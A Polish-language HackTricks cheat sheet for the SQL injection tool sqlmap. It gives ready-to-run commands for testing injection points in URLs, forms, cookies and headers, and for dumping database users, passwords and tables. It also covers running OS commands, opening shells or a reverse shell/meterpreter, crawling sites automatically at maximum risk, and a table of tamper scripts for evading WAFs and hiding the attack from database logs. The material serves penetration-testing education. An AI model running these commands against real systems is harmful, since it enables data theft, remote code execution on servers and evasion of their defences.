hacktricks/pentesting-web/sql-injection/sqlmap.md
2024-12-12 13:54:31 +01:00

10 KiB

{% hint style="success" %} Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks
{% endhint %}

Podstawowe argumenty dla SQLmap

Ogólne

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY

Pobierz informacje

Wewnętrzny

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB

Dane DB

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Miejsce wstrzyknięcia

Z przechwycenia Burp/ZAP

Przechwyć żądanie i utwórz plik req.txt

sqlmap -r req.txt --current-user

Wstrzykiwanie Żądania GET

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

Wstrzykiwanie Żądania POST

sqlmap -u "http://example.com" --data "username=*&password=*"

Iniekcje w nagłówkach i inne metody HTTP

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Wstrzyknięcie drugiego rzędu

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Powłoka

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Crawlowanie strony internetowej za pomocą SQLmap i automatyczne wykorzystanie

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Dostosowywanie wstrzyknięcia

Ustaw sufiks

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Prefiks

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Pomoc w znajdowaniu wstrzyknięć boolean

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper Opis
apostrophemask.py Zastępuje znak apostrofu jego pełnowymiarowym odpowiednikiem UTF-8
apostrophenullencode.py Zastępuje znak apostrofu jego nielegalnym podwójnym odpowiednikiem unicode
appendnullbyte.py Dodaje zakodowany znak NULL na końcu ładunku
base64encode.py Koduje wszystkie znaki w danym ładunku w Base64
between.py Zastępuje operator większy niż '&gt;' 'NOT BETWEEN 0 AND #'
bluecoat.py Zastępuje znak spacji po instrukcji SQL ważnym losowym znakiem pustym. Następnie zastępuje znak = operatorem LIKE
chardoubleencode.py Podwójnie koduje url wszystkie znaki w danym ładunku nie przetwarzając już zakodowanych
commalesslimit.py Zastępuje wystąpienia takie jak 'LIMIT M, N' 'LIMIT N OFFSET M'
commalessmid.py Zastępuje wystąpienia takie jak 'MID(A, B, C)' 'MID(A FROM B FOR C)'
concat2concatws.py Zastępuje wystąpienia takie jak 'CONCAT(A, B)' 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.py Koduje url wszystkie znaki w danym ładunku nie przetwarzając już zakodowanych
charunicodeencode.py Koduje znaki unicode-url niezakodowane w danym ładunku nie przetwarzając już zakodowanych. "%u0022"
charunicodeescape.py Koduje znaki unicode-url niezakodowane w danym ładunku nie przetwarzając już zakodowanych. "\u0022"
equaltolike.py Zastępuje wszystkie wystąpienia operatora równości '=' operatorem 'LIKE'
escapequotes.py Używa znaku ukośnika do ucieczki cytatów ' i "
greatest.py Zastępuje operator większy niż '&gt;' jego odpowiednikiem 'GREATEST'
halfversionedmorekeywords.py Dodaje wersjonowany komentarz MySQL przed każdym słowem kluczowym
ifnull2ifisnull.py Zastępuje wystąpienia takie jak 'IFNULL(A, B)' 'IF(ISNULL(A), B, A)'
modsecurityversioned.py Otacza pełne zapytanie wersjonowanym komentarzem
modsecurityzeroversioned.py Otacza pełne zapytanie zerowym wersjonowanym komentarzem
multiplespaces.py Dodaje wiele spacji wokół słów kluczowych SQL
nonrecursivereplacement.py Zastępuje zdefiniowane słowa kluczowe SQL reprezentacjami odpowiednimi do zastąpienia (np. .replace("SELECT", "")) filtry
percentage.py Dodaje znak procentu '%' przed każdym znakiem
overlongutf8.py Konwertuje wszystkie znaki w danym ładunku nie przetwarzając już zakodowanych
randomcase.py Zastępuje każdy znak słowa kluczowego losową wartością wielkości liter
randomcomments.py Dodaje losowe komentarze do słów kluczowych SQL
securesphere.py Dodaje specjalnie skonstruowany ciąg
sp_password.py Dodaje 'sp_password' na końcu ładunku w celu automatycznej obfuskacji z logów DBMS
space2comment.py Zastępuje znak spacji ' ' komentarzami
space2dash.py Zastępuje znak spacji ' ' komentarzem myślnikowym '--' po którym następuje losowy ciąg i nowa linia '\n'
space2hash.py Zastępuje znak spacji ' ' znakiem funta '\#' po którym następuje losowy ciąg i nowa linia '\n'
space2morehash.py Zastępuje znak spacji ' ' znakiem funta '\#' po którym następuje losowy ciąg i nowa linia '\n'
space2mssqlblank.py Zastępuje znak spacji ' ' losowym znakiem pustym z ważnego zestawu alternatywnych znaków
space2mssqlhash.py Zastępuje znak spacji ' ' znakiem funta '\#' po którym następuje nowa linia '\n'
space2mysqlblank.py Zastępuje znak spacji ' ' losowym znakiem pustym z ważnego zestawu alternatywnych znaków
space2mysqldash.py Zastępuje znak spacji ' ' komentarzem myślnikowym '--' po którym następuje nowa linia '\n'
space2plus.py Zastępuje znak spacji ' ' znakiem plus '+'
space2randomblank.py Zastępuje znak spacji ' ' losowym znakiem pustym z ważnego zestawu alternatywnych znaków
symboliclogical.py Zastępuje operatory logiczne AND i OR ich symbolicznymi odpowiednikami (&& i
unionalltounion.py Zastępuje UNION ALL SELECT UNION SELECT
unmagicquotes.py Zastępuje znak cytatu ' kombinacją wielobajtową %bf%27 razem z ogólnym komentarzem na końcu aby to działało
uppercase.py Zastępuje każdy znak słowa kluczowego wartością wielką 'INSERT'
varnish.py Dodaje nagłówek HTTP 'X-originating-IP'
versionedkeywords.py Otacza każde nie-funkcyjne słowo kluczowe wersjonowanym komentarzem MySQL
versionedmorekeywords.py Otacza każde słowo kluczowe wersjonowanym komentarzem MySQL
xforwardedfor.py Dodaje fałszywy nagłówek HTTP 'X-Forwarded-For'

{% hint style="success" %} Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks
{% endhint %}